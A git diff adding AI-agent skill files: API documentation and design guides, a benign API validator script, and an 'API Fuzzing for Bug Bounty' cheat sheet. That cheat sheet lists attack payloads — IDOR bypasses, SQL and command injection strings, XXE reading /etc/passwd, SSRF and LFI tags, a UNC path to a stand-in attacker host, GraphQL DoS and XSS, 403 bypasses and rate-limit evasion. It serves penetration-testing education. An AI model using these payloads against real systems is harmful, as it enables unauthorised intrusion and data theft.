+  ]
+}
+\`\`\`
+```
+
+### Example 3: Authentication Documentation
+
+```markdown
+## Authentication
+
+All API requests require authentication using Bearer tokens.
+
+### Getting a Token
+
+**Endpoint:** `POST /api/v1/auth/login`
+
+**Request:**
+\`\`\`json
+{
+  "email": "user@example.com",
+  "password": "your-password"
+}
+\`\`\`
+
+**Response:**
+\`\`\`json
+{
+  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
+  "expiresIn": 3600,
+  "refreshToken": "refresh_token_here"
+}
+\`\`\`
+
+### Using the Token
+
+Include the token in the Authorization header:
+
+\`\`\`
+Authorization: Bearer YOUR_TOKEN
+\`\`\`
+
+### Token Expiration
+
+Tokens expire after 1 hour. Use the refresh token to get a new access token:
+
+**Endpoint:** `POST /api/v1/auth/refresh`
+
+**Request:**
+\`\`\`json
+{
+  "refreshToken": "refresh_token_here"
+}
+\`\`\`
+```
+
+## Best Practices
+
+### ✅ Do This
+
+- **Be Consistent** - Use the same format for all endpoints
+- **Include Examples** - Provide working code examples in multiple languages
+- **Document Errors** - List all possible error codes and their meanings
+- **Show Real Data** - Use realistic example data, not "foo" and "bar"
+- **Explain Parameters** - Describe what each parameter does and its constraints
+- **Version Your API** - Include version numbers in URLs (/api/v1/)
+- **Add Timestamps** - Show when documentation was last updated
+- **Link Related Endpoints** - Help users discover related functionality
+- **Include Rate Limits** - Document any rate limiting policies
+- **Provide Postman Collection** - Make it easy to test your API
+
+### ❌ Don't Do This
+
+- **Don't Skip Error Cases** - Users need to know what can go wrong
+- **Don't Use Vague Descriptions** - "Gets data" is not helpful
+- **Don't Forget Authentication** - Always document auth requirements
+- **Don't Ignore Edge Cases** - Document pagination, filtering, sorting
+- **Don't Leave Examples Broken** - Test all code examples
+- **Don't Use Outdated Info** - Keep documentation in sync with code
+- **Don't Overcomplicate** - Keep it simple and scannable
+- **Don't Forget Response Headers** - Document important headers
+
+## Documentation Structure
+
+### Recommended Sections
+
+1. **Introduction**
+   - What the API does
+   - Base URL
+   - API version
+   - Support contact
+
+2. **Authentication**
+   - How to authenticate
+   - Token management
+   - Security best practices
+
+3. **Quick Start**
+   - Simple example to get started
+   - Common use case walkthrough
+
+4. **Endpoints**
+   - Organized by resource
+   - Full details for each endpoint
+
+5. **Data Models**
+   - Schema definitions
+   - Field descriptions
+   - Validation rules
+
+6. **Error Handling**
+   - Error code reference
+   - Error response format
+   - Troubleshooting guide
+
+7. **Rate Limiting**
+   - Limits and quotas
+   - Headers to check
+   - Handling rate limit errors
+
+8. **Changelog**
+   - API version history
+   - Breaking changes
+   - Deprecation notices
+
+9. **SDKs and Tools**
+   - Official client libraries
+   - Postman collection
+   - OpenAPI specification
+
+## Common Pitfalls
+
+### Problem: Documentation Gets Out of Sync
+**Symptoms:** Examples don't work, parameters are wrong, endpoints return different data
+**Solution:** 
+- Generate docs from code comments/annotations
+- Use tools like Swagger/OpenAPI
+- Add API tests that validate documentation
+- Review docs with every API change
+
+### Problem: Missing Error Documentation
+**Symptoms:** Users don't know how to handle errors, support tickets increase
+**Solution:**
+- Document every possible error code
+- Provide clear error messages
+- Include troubleshooting steps
+- Show example error responses
+
+### Problem: Examples Don't Work
+**Symptoms:** Users can't get started, frustration increases
+**Solution:**
+- Test every code example
+- Use real, working endpoints
+- Include complete examples (not fragments)
+- Provide a sandbox environment
+
+### Problem: Unclear Parameter Requirements
+**Symptoms:** Users send invalid requests, validation errors
+**Solution:**
+- Mark required vs optional clearly
+- Document data types and formats
+- Show validation rules
+- Provide example values
+
+## Tools and Formats
+
+### OpenAPI/Swagger
+Generate interactive documentation:
+```yaml
+openapi: 3.0.0
+info:
+  title: My API
+  version: 1.0.0
+paths:
+  /users:
+    post:
+      summary: Create a new user
+      requestBody:
+        required: true
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/CreateUserRequest'
+```
+
+### Postman Collection
+Export collection for easy testing:
+```json
+{
+  "info": {
+    "name": "My API",
+    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
+  },
+  "item": [
+    {
+      "name": "Create User",
+      "request": {
+        "method": "POST",
+        "url": "{{baseUrl}}/api/v1/users"
+      }
+    }
+  ]
+}
+```
+
+## Related Skills
+
+- `@doc-coauthoring` - For collaborative documentation writing
+- `@copywriting` - For clear, user-friendly descriptions
+- `@test-driven-development` - For ensuring API behavior matches docs
+- `@systematic-debugging` - For troubleshooting API issues
+
+## Additional Resources
+
+- [OpenAPI Specification](https://swagger.io/specification/)
+- [REST API Best Practices](https://restfulapi.net/)
+- [GraphQL Documentation](https://graphql.org/learn/)
+- [API Design Patterns](https://www.apiguide.com/)
+- [Postman Documentation](https://learning.postman.com/docs/)
+
+---
+
+**Pro Tip:** Keep your API documentation as close to your code as possible. Use tools that generate docs from code comments to ensure they stay in sync!

skills/api-fuzzing-bug-bounty/SKILL.md

@@ -0,0 +1,433 @@
+---
+name: API Fuzzing for Bug Bounty
+description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# API Fuzzing for Bug Bounty
+
+## Purpose
+
+Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
+
+## Inputs/Prerequisites
+
+- Burp Suite or similar proxy tool
+- API wordlists (SecLists, api_wordlist)
+- Understanding of REST/GraphQL/SOAP protocols
+- Python for scripting
+- Target API endpoints and documentation (if available)
+
+## Outputs/Deliverables
+
+- Identified API vulnerabilities
+- IDOR exploitation proofs
+- Authentication bypass techniques
+- SQL injection points
+- Unauthorized data access documentation
+
+---
+
+## API Types Overview
+
+| Type | Protocol | Data Format | Structure |
+|------|----------|-------------|-----------|
+| SOAP | HTTP | XML | Header + Body |
+| REST | HTTP | JSON/XML/URL | Defined endpoints |
+| GraphQL | HTTP | Custom Query | Single endpoint |
+
+---
+
+## Core Workflow
+
+### Step 1: API Reconnaissance
+
+Identify API type and enumerate endpoints:
+
+```bash
+# Check for Swagger/OpenAPI documentation
+/swagger.json
+/openapi.json
+/api-docs
+/v1/api-docs
+/swagger-ui.html
+
+# Use Kiterunner for API discovery
+kr scan https://target.com -w routes-large.kite
+
+# Extract paths from Swagger
+python3 json2paths.py swagger.json
+```
+
+### Step 2: Authentication Testing
+
+```bash
+# Test different login paths
+/api/mobile/login
+/api/v3/login
+/api/magic_link
+/api/admin/login
+
+# Check rate limiting on auth endpoints
+# If no rate limit → brute force possible
+
+# Test mobile vs web API separately
+# Don't assume same security controls
+```
+
+### Step 3: IDOR Testing
+
+Insecure Direct Object Reference is the most common API vulnerability:
+
+```bash
+# Basic IDOR
+GET /api/users/1234 → GET /api/users/1235
+
+# Even if ID is email-based, try numeric
+/?user_id=111 instead of /?user_id=user@mail.com
+
+# Test /me/orders vs /user/654321/orders
+```
+
+**IDOR Bypass Techniques:**
+
+```bash
+# Wrap ID in array
+{"id":111} → {"id":[111]}
+
+# JSON wrap
+{"id":111} → {"id":{"id":111}}
+
+# Send ID twice
+URL?id=<LEGIT>&id=<VICTIM>
+
+# Wildcard injection
+{"user_id":"*"}
+
+# Parameter pollution
+/api/get_profile?user_id=<victim>&user_id=<legit>
+{"user_id":<legit_id>,"user_id":<victim_id>}
+```
+
+### Step 4: Injection Testing
+
+**SQL Injection in JSON:**
+
+```json
+{"id":"56456"}                    → OK
+{"id":"56456 AND 1=1#"}           → OK  
+{"id":"56456 AND 1=2#"}           → OK
+{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
+{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
+```
+
+**Command Injection:**
+
+```bash
+# Ruby on Rails
+?url=Kernel#open → ?url=|ls
+
+# Linux command injection
+api.url.com/endpoint?name=file.txt;ls%20/
+```
+
+**XXE Injection:**
+
+```xml
+<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
+```
+
+**SSRF via API:**
+
+```html
+<object data="http://127.0.0.1:8443"/>
+<img src="http://127.0.0.1:445"/>
+```
+
+**.NET Path.Combine Vulnerability:**
+
+```bash
+# If .NET app uses Path.Combine(path_1, path_2)
+# Test for path traversal
+https://example.org/download?filename=a.png
+https://example.org/download?filename=C:\inetpub\wwwroot\web.config
+https://example.org/download?filename=\\smb.dns.attacker.com\a.png
+```
+
+### Step 5: Method Testing
+
+```bash
+# Test all HTTP methods
+GET /api/v1/users/1
+POST /api/v1/users/1
+PUT /api/v1/users/1
+DELETE /api/v1/users/1
+PATCH /api/v1/users/1
+
+# Switch content type
+Content-Type: application/json → application/xml
+```
+
+---
+
+## GraphQL-Specific Testing
+
+### Introspection Query
+
+Fetch entire backend schema:
+
+```graphql
+{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
+```
+
+**URL-encoded version:**
+
+```
+/graphql?query={__schema{types{name,kind,description,fields{name}}}}
+```
+
+### GraphQL IDOR
+
+```graphql
+# Try accessing other user IDs
+query {
+  user(id: "OTHER_USER_ID") {
+    email
+    password
+    creditCard
+  }
+}
+```
+
+### GraphQL SQL/NoSQL Injection
+
+```graphql
+mutation {
+  login(input: {
+    email: "test' or 1=1--"
+    password: "password"
+  }) {
+    success
+    jwt
+  }
+}
+```
+
+### Rate Limit Bypass (Batching)
+
+```graphql
+mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
+```
+
+### GraphQL DoS (Nested Queries)
+
+```graphql
+query {
+  posts {
+    comments {
+      user {
+        posts {
+          comments {
+            user {
+              posts { ... }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### GraphQL XSS
+
+```bash
+# XSS via GraphQL endpoint
+http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
+
+# URL-encoded XSS
+http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
+```
+
+### GraphQL Tools
+
+| Tool | Purpose |
+|------|---------|
+| GraphCrawler | Schema discovery |
+| graphw00f | Fingerprinting |
+| clairvoyance | Schema reconstruction |
+| InQL | Burp extension |
+| GraphQLmap | Exploitation |
+
+---
+
+## Endpoint Bypass Techniques
+
+When receiving 403/401, try these bypasses:
+
+```bash
+# Original blocked request
+/api/v1/users/sensitivedata → 403
+
+# Bypass attempts
+/api/v1/users/sensitivedata.json
+/api/v1/users/sensitivedata?
+/api/v1/users/sensitivedata/
+/api/v1/users/sensitivedata??
+/api/v1/users/sensitivedata%20
+/api/v1/users/sensitivedata%09
+/api/v1/users/sensitivedata#
+/api/v1/users/sensitivedata&details
+/api/v1/users/..;/sensitivedata
+```
+
+---
+
+## Output Exploitation
+
+### PDF Export Attacks
+
+```html
+<!-- LFI via PDF export -->
+<iframe src="file:///etc/passwd" height=1000 width=800>
+
+<!-- SSRF via PDF export -->
+<object data="http://127.0.0.1:8443"/>
+
+<!-- Port scanning -->
+<img src="http://127.0.0.1:445"/>
+
+<!-- IP disclosure -->
+<img src="https://iplogger.com/yourcode.gif"/>
+```
+
+### DoS via Limits
+
+```bash
+# Normal request
+/api/news?limit=100
+
+# DoS attempt
+/api/news?limit=9999999999
+```
+
+---
+
+## Common API Vulnerabilities Checklist
+
+| Vulnerability | Description |
+|---------------|-------------|
+| API Exposure | Unprotected endpoints exposed publicly |
+| Misconfigured Caching | Sensitive data cached incorrectly |
+| Exposed Tokens | API keys/tokens in responses or URLs |
+| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
+| IDOR / BOLA | Broken Object Level Authorization |
+| Undocumented Endpoints | Hidden admin/debug endpoints |
+| Different Versions | Security gaps in older API versions |
+| Rate Limiting | Missing or bypassable rate limits |
+| Race Conditions | TOCTOU vulnerabilities |
+| XXE Injection | XML parser exploitation |
+| Content Type Issues | Switching between JSON/XML |
+| HTTP Method Tampering | GET→DELETE/PUT abuse |
+
+---
+
+## Quick Reference
+
+| Vulnerability | Test Payload | Risk |
+|---------------|--------------|------|
+| IDOR | Change user_id parameter | High |
+| SQLi | `' OR 1=1--` in JSON | Critical |
+| Command Injection | `; ls /` | Critical |
+| XXE | DOCTYPE with ENTITY | High |
+| SSRF | Internal IP in params | High |
+| Rate Limit Bypass | Batch requests | Medium |
+| Method Tampering | GET→DELETE | High |
+
+---
+
+## Tools Reference
+
+| Category | Tool | URL |
+|----------|------|-----|
+| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
+| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
+| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
+| API Security | apicheck | github.com/BBVA/apicheck |
+| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
+| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
+| API Toolkit | APIKit | github.com/API-Security/APIKit |
+| API Keys | API Guesser | api-guesser.netlify.app |
+| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
+| GraphQL | InQL | github.com/doyensec/inql |
+| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
+| GraphQL | graphw00f | github.com/dolevf/graphw00f |
+| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
+| GraphQL | batchql | github.com/assetnote/batchql |
+| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
+| Wordlists | SecLists | github.com/danielmiessler/SecLists |
+| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
+| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
+| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
+| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
+
+---
+
+## Constraints
+
+**Must:**
+- Test mobile, web, and developer APIs separately
+- Check all API versions (/v1, /v2, /v3)
+- Validate both authenticated and unauthenticated access
+
+**Must Not:**
+- Assume same security controls across API versions
+- Skip testing undocumented endpoints
+- Ignore rate limiting checks
+
+**Should:**
+- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
+- Check archive.org for historical API endpoints
+- Test for race conditions on sensitive operations
+
+---
+
+## Examples
+
+### Example 1: IDOR Exploitation
+
+```bash
+# Original request (own data)
+GET /api/v1/invoices/12345
+Authorization: Bearer <token>
+
+# Modified request (other user's data)
+GET /api/v1/invoices/12346
+Authorization: Bearer <token>
+
+# Response reveals other user's invoice data
+```
+
+### Example 2: GraphQL Introspection
+
+```bash
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{__schema{types{name,fields{name}}}}"}'
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
+| 401 on all endpoints | Try adding `?user_id=1` parameter |
+| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
+| Rate limited | Use IP rotation or batch requests |
+| Can't find endpoints | Check Swagger, archive.org, JS files |

skills/api-patterns/SKILL.md

@@ -0,0 +1,81 @@
+---
+name: api-patterns
+description: API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
+allowed-tools: Read, Write, Edit, Glob, Grep
+---
+
+# API Patterns
+
+> API design principles and decision-making for 2025.
+> **Learn to THINK, not copy fixed patterns.**
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+---
+
+## 📑 Content Map
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `api-style.md` | REST vs GraphQL vs tRPC decision tree | Choosing API type |
+| `rest.md` | Resource naming, HTTP methods, status codes | Designing REST API |
+| `response.md` | Envelope pattern, error format, pagination | Response structure |
+| `graphql.md` | Schema design, when to use, security | Considering GraphQL |
+| `trpc.md` | TypeScript monorepo, type safety | TS fullstack projects |
+| `versioning.md` | URI/Header/Query versioning | API evolution planning |
+| `auth.md` | JWT, OAuth, Passkey, API Keys | Auth pattern selection |
+| `rate-limiting.md` | Token bucket, sliding window | API protection |
+| `documentation.md` | OpenAPI/Swagger best practices | Documentation |
+| `security-testing.md` | OWASP API Top 10, auth/authz testing | Security audits |
+
+---
+
+## 🔗 Related Skills
+
+| Need | Skill |
+|------|-------|
+| API implementation | `@[skills/backend-development]` |
+| Data structure | `@[skills/database-design]` |
+| Security details | `@[skills/security-hardening]` |
+
+---
+
+## ✅ Decision Checklist
+
+Before designing an API:
+
+- [ ] **Asked user about API consumers?**
+- [ ] **Chosen API style for THIS context?** (REST/GraphQL/tRPC)
+- [ ] **Defined consistent response format?**
+- [ ] **Planned versioning strategy?**
+- [ ] **Considered authentication needs?**
+- [ ] **Planned rate limiting?**
+- [ ] **Documentation approach defined?**
+
+---
+
+## ❌ Anti-Patterns
+
+**DON'T:**
+- Default to REST for everything
+- Use verbs in REST endpoints (/getUsers)
+- Return inconsistent response formats
+- Expose internal errors to clients
+- Skip rate limiting
+
+**DO:**
+- Choose API style based on context
+- Ask about client requirements
+- Document thoroughly
+- Use appropriate status codes
+
+---
+
+## Script
+
+| Script | Purpose | Command |
+|--------|---------|---------|
+| `scripts/api_validator.py` | API endpoint validation | `python scripts/api_validator.py <project_path>` |
+

skills/api-patterns/api-style.md

@@ -0,0 +1,42 @@
+# API Style Selection (2025)
+
+> REST vs GraphQL vs tRPC - Hangi durumda hangisi?
+
+## Decision Tree
+
+```
+Who are the API consumers?
+│
+├── Public API / Multiple platforms
+│   └── REST + OpenAPI (widest compatibility)
+│
+├── Complex data needs / Multiple frontends
+│   └── GraphQL (flexible queries)
+│
+├── TypeScript frontend + backend (monorepo)
+│   └── tRPC (end-to-end type safety)
+│
+├── Real-time / Event-driven
+│   └── WebSocket + AsyncAPI
+│
+└── Internal microservices
+    └── gRPC (performance) or REST (simplicity)
+```
+
+## Comparison
+
+| Factor | REST | GraphQL | tRPC |
+|--------|------|---------|------|
+| **Best for** | Public APIs | Complex apps | TS monorepos |
+| **Learning curve** | Low | Medium | Low (if TS) |
+| **Over/under fetching** | Common | Solved | Solved |
+| **Type safety** | Manual (OpenAPI) | Schema-based | Automatic |
+| **Caching** | HTTP native | Complex | Client-based |
+
+## Selection Questions
+
+1. Who are the API consumers?
+2. Is the frontend TypeScript?
+3. How complex are the data relationships?
+4. Is caching critical?
+5. Public or internal API?

skills/api-patterns/auth.md

@@ -0,0 +1,24 @@
+# Authentication Patterns
+
+> Choose auth pattern based on use case.
+
+## Selection Guide
+
+| Pattern | Best For |
+|---------|----------|
+| **JWT** | Stateless, microservices |
+| **Session** | Traditional web, simple |
+| **OAuth 2.0** | Third-party integration |
+| **API Keys** | Server-to-server, public APIs |
+| **Passkey** | Modern passwordless (2025+) |
+
+## JWT Principles
+
+```
+Important:
+├── Always verify signature
+├── Check expiration
+├── Include minimal claims
+├── Use short expiry + refresh tokens
+└── Never store sensitive data in JWT
+```

skills/api-patterns/documentation.md

@@ -0,0 +1,26 @@
+# API Documentation Principles
+
+> Good docs = happy developers = API adoption.
+
+## OpenAPI/Swagger Essentials
+
+```
+Include:
+├── All endpoints with examples
+├── Request/response schemas
+├── Authentication requirements
+├── Error response formats
+└── Rate limiting info
+```
+
+## Good Documentation Has
+
+```
+Essentials:
+├── Quick start / Getting started
+├── Authentication guide
+├── Complete API reference
+├── Error handling guide
+├── Code examples (multiple languages)
+└── Changelog
+```

skills/api-patterns/graphql.md

@@ -0,0 +1,41 @@
+# GraphQL Principles
+
+> Flexible queries for complex, interconnected data.
+
+## When to Use
+
+```
+✅ Good fit:
+├── Complex, interconnected data
+├── Multiple frontend platforms
+├── Clients need flexible queries
+├── Evolving data requirements
+└── Reducing over-fetching matters
+
+❌ Poor fit:
+├── Simple CRUD operations
+├── File upload heavy
+├── HTTP caching important
+└── Team unfamiliar with GraphQL
+```
+
+## Schema Design Principles
+
+```
+Principles:
+├── Think in graphs, not endpoints
+├── Design for evolvability (no versions)
+├── Use connections for pagination
+├── Be specific with types (not generic "data")
+└── Handle nullability thoughtfully
+```
+
+## Security Considerations
+
+```
+Protect against:
+├── Query depth attacks → Set max depth
+├── Query complexity → Calculate cost
+├── Batching abuse → Limit batch size
+├── Introspection → Disable in production
+```

skills/api-patterns/rate-limiting.md

@@ -0,0 +1,31 @@
+# Rate Limiting Principles
+
+> Protect your API from abuse and overload.
+
+## Why Rate Limit
+
+```
+Protect against:
+├── Brute force attacks
+├── Resource exhaustion
+├── Cost overruns (if pay-per-use)
+└── Unfair usage
+```
+
+## Strategy Selection
+
+| Type | How | When |
+|------|-----|------|
+| **Token bucket** | Burst allowed, refills over time | Most APIs |
+| **Sliding window** | Smooth distribution | Strict limits |
+| **Fixed window** | Simple counters per window | Basic needs |
+
+## Response Headers
+
+```
+Include in headers:
+├── X-RateLimit-Limit (max requests)
+├── X-RateLimit-Remaining (requests left)
+├── X-RateLimit-Reset (when limit resets)
+└── Return 429 when exceeded
+```

skills/api-patterns/response.md

@@ -0,0 +1,37 @@
+# Response Format Principles
+
+> Consistency is key - choose a format and stick to it.
+
+## Common Patterns
+
+```
+Choose one:
+├── Envelope pattern ({ success, data, error })
+├── Direct data (just return the resource)
+└── HAL/JSON:API (hypermedia)
+```
+
+## Error Response
+
+```
+Include:
+├── Error code (for programmatic handling)
+├── User message (for display)
+├── Details (for debugging, field-level errors)
+├── Request ID (for support)
+└── NOT internal details (security!)
+```
+
+## Pagination Types
+
+| Type | Best For | Trade-offs |
+|------|----------|------------|
+| **Offset** | Simple, jumpable | Performance on large datasets |
+| **Cursor** | Large datasets | Can't jump to page |
+| **Keyset** | Performance critical | Requires sortable key |
+
+### Selection Questions
+
+1. How large is the dataset?
+2. Do users need to jump to specific pages?
+3. Is data frequently changing?

skills/api-patterns/rest.md

@@ -0,0 +1,40 @@
+# REST Principles
+
+> Resource-based API design - nouns not verbs.
+
+## Resource Naming Rules
+
+```
+Principles:
+├── Use NOUNS, not verbs (resources, not actions)
+├── Use PLURAL forms (/users not /user)
+├── Use lowercase with hyphens (/user-profiles)
+├── Nest for relationships (/users/123/posts)
+└── Keep shallow (max 3 levels deep)
+```
+
+## HTTP Method Selection
+
+| Method | Purpose | Idempotent? | Body? |
+|--------|---------|-------------|-------|
+| **GET** | Read resource(s) | Yes | No |
+| **POST** | Create new resource | No | Yes |
+| **PUT** | Replace entire resource | Yes | Yes |
+| **PATCH** | Partial update | No | Yes |
+| **DELETE** | Remove resource | Yes | No |
+
+## Status Code Selection
+
+| Situation | Code | Why |
+|-----------|------|-----|
+| Success (read) | 200 | Standard success |
+| Created | 201 | New resource created |
+| No content | 204 | Success, nothing to return |
+| Bad request | 400 | Malformed request |
+| Unauthorized | 401 | Missing/invalid auth |
+| Forbidden | 403 | Valid auth, no permission |
+| Not found | 404 | Resource doesn't exist |
+| Conflict | 409 | State conflict (duplicate) |
+| Validation error | 422 | Valid syntax, invalid data |
+| Rate limited | 429 | Too many requests |
+| Server error | 500 | Our fault |

skills/api-patterns/scripts/api_validator.py

@@ -0,0 +1,211 @@
+#!/usr/bin/env python3
+"""
+API Validator - Checks API endpoints for best practices.
+Validates OpenAPI specs, response formats, and common issues.
+"""
+import sys
+import json
+import re
+from pathlib import Path
+
+# Fix Windows console encoding for Unicode output
+try:
+    sys.stdout.reconfigure(encoding='utf-8', errors='replace')
+    sys.stderr.reconfigure(encoding='utf-8', errors='replace')
+except AttributeError:
+    pass  # Python < 3.7
+
+def find_api_files(project_path: Path) -> list:
+    """Find API-related files."""
+    patterns = [
+        "**/*api*.ts", "**/*api*.js", "**/*api*.py",
+        "**/routes/*.ts", "**/routes/*.js", "**/routes/*.py",
+        "**/controllers/*.ts", "**/controllers/*.js",
+        "**/endpoints/*.ts", "**/endpoints/*.py",
+        "**/*.openapi.json", "**/*.openapi.yaml",
+        "**/swagger.json", "**/swagger.yaml",
+        "**/openapi.json", "**/openapi.yaml"
+    ]
+    
+    files = []
+    for pattern in patterns:
+        files.extend(project_path.glob(pattern))
+    
+    # Exclude node_modules, etc.
+    return [f for f in files if not any(x in str(f) for x in ['node_modules', '.git', 'dist', 'build', '__pycache__'])]
+
+def check_openapi_spec(file_path: Path) -> dict:
+    """Check OpenAPI/Swagger specification."""
+    issues = []
+    passed = []
+    
+    try:
+        content = file_path.read_text(encoding='utf-8')
+        
+        if file_path.suffix == '.json':
+            spec = json.loads(content)
+        else:
+            # Basic YAML check
+            if 'openapi:' in content or 'swagger:' in content:
+                passed.append("[OK] OpenAPI/Swagger version defined")
+            else:
+                issues.append("[X] No OpenAPI version found")
+            
+            if 'paths:' in content:
+                passed.append("[OK] Paths section exists")
+            else:
+                issues.append("[X] No paths defined")
+            
+            if 'components:' in content or 'definitions:' in content:
+                passed.append("[OK] Schema components defined")
+            
+            return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'openapi'}
+        
+        # JSON OpenAPI checks
+        if 'openapi' in spec or 'swagger' in spec:
+            passed.append("[OK] OpenAPI version defined")
+        
+        if 'info' in spec:
+            if 'title' in spec['info']:
+                passed.append("[OK] API title defined")
+            if 'version' in spec['info']:
+                passed.append("[OK] API version defined")
+            if 'description' not in spec['info']:
+                issues.append("[!] API description missing")
+        
+        if 'paths' in spec:
+            path_count = len(spec['paths'])
+            passed.append(f"[OK] {path_count} endpoints defined")
+            
+            # Check each path
+            for path, methods in spec['paths'].items():
+                for method, details in methods.items():
+                    if method in ['get', 'post', 'put', 'patch', 'delete']:
+                        if 'responses' not in details:
+                            issues.append(f"[X] {method.upper()} {path}: No responses defined")
+                        if 'summary' not in details and 'description' not in details:
+                            issues.append(f"[!] {method.upper()} {path}: No description")
+        
+    except Exception as e:
+        issues.append(f"[X] Parse error: {e}")
+    
+    return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'openapi'}
+
+def check_api_code(file_path: Path) -> dict:
+    """Check API code for common issues."""
+    issues = []
+    passed = []
+    
+    try:
+        content = file_path.read_text(encoding='utf-8')
+        
+        # Check for error handling
+        error_patterns = [
+            r'try\s*{', r'try:', r'\.catch\(',
+            r'except\s+', r'catch\s*\('
+        ]
+        has_error_handling = any(re.search(p, content) for p in error_patterns)
+        if has_error_handling:
+            passed.append("[OK] Error handling present")
+        else:
+            issues.append("[X] No error handling found")
+        
+        # Check for status codes
+        status_patterns = [
+            r'status\s*\(\s*\d{3}\s*\)', r'statusCode\s*[=:]\s*\d{3}',
+            r'HttpStatus\.', r'status_code\s*=\s*\d{3}',
+            r'\.status\(\d{3}\)', r'res\.status\('
+        ]
+        has_status = any(re.search(p, content) for p in status_patterns)
+        if has_status:
+            passed.append("[OK] HTTP status codes used")
+        else:
+            issues.append("[!] No explicit HTTP status codes")
+        
+        # Check for validation
+        validation_patterns = [
+            r'validate', r'schema', r'zod', r'joi', r'yup',
+            r'pydantic', r'@Body\(', r'@Query\('
+        ]
+        has_validation = any(re.search(p, content, re.I) for p in validation_patterns)
+        if has_validation:
+            passed.append("[OK] Input validation present")
+        else:
+            issues.append("[!] No input validation detected")
+        
+        # Check for auth middleware
+        auth_patterns = [
+            r'auth', r'jwt', r'bearer', r'token',
+            r'middleware', r'guard', r'@Authenticated'
+        ]
+        has_auth = any(re.search(p, content, re.I) for p in auth_patterns)
+        if has_auth:
+            passed.append("[OK] Authentication/authorization detected")
+        
+        # Check for rate limiting
+        rate_patterns = [r'rateLimit', r'throttle', r'rate.?limit']
+        has_rate = any(re.search(p, content, re.I) for p in rate_patterns)
+        if has_rate:
+            passed.append("[OK] Rate limiting present")
+        
+        # Check for logging
+        log_patterns = [r'console\.log', r'logger\.', r'logging\.', r'log\.']
+        has_logging = any(re.search(p, content) for p in log_patterns)
+        if has_logging:
+            passed.append("[OK] Logging present")
+        
+    except Exception as e:
+        issues.append(f"[X] Read error: {e}")
+    
+    return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'code'}
+
+def main():
+    target = sys.argv[1] if len(sys.argv) > 1 else "."
+    project_path = Path(target)
+    
+    print("\n" + "=" * 60)
+    print("  API VALIDATOR - Endpoint Best Practices Check")
+    print("=" * 60 + "\n")
+    
+    api_files = find_api_files(project_path)
+    
+    if not api_files:
+        print("[!] No API files found.")
+        print("   Looking for: routes/, controllers/, api/, openapi.json/yaml")
+        sys.exit(0)
+    
+    results = []
+    for file_path in api_files[:15]:  # Limit
+        if 'openapi' in file_path.name.lower() or 'swagger' in file_path.name.lower():
+            result = check_openapi_spec(file_path)
+        else:
+            result = check_api_code(file_path)
+        results.append(result)
+    
+    # Print results
+    total_issues = 0
+    total_passed = 0
+    
+    for result in results:
+        print(f"\n[FILE] {result['file']} [{result['type']}]")
+        for item in result['passed']:
+            print(f"   {item}")
+            total_passed += 1
+        for item in result['issues']:
+            print(f"   {item}")
+            if item.startswith("[X]"):
+                total_issues += 1
+    
+    print("\n" + "=" * 60)
+    print(f"[RESULTS] {total_passed} passed, {total_issues} critical issues")
+    print("=" * 60)
+    
+    if total_issues == 0:
+        print("[OK] API validation passed")
+        sys.exit(0)
+    else:
+        print("[X] Fix critical issues before deployment")
+        sys.exit(1)
+
+if __name__ == "__main__":
+    main()

skills/api-patterns/security-testing.md

@@ -0,0 +1,122 @@
+# API Security Testing
+
+> Principles for testing API security. OWASP API Top 10, authentication, authorization testing.
+
+---
+
+## OWASP API Security Top 10
+
+| Vulnerability | Test Focus |
+|---------------|------------|
+| **API1: BOLA** | Access other users' resources |
+| **API2: Broken Auth** | JWT, session, credentials |
+| **API3: Property Auth** | Mass assignment, data exposure |
+| **API4: Resource Consumption** | Rate limiting, DoS |
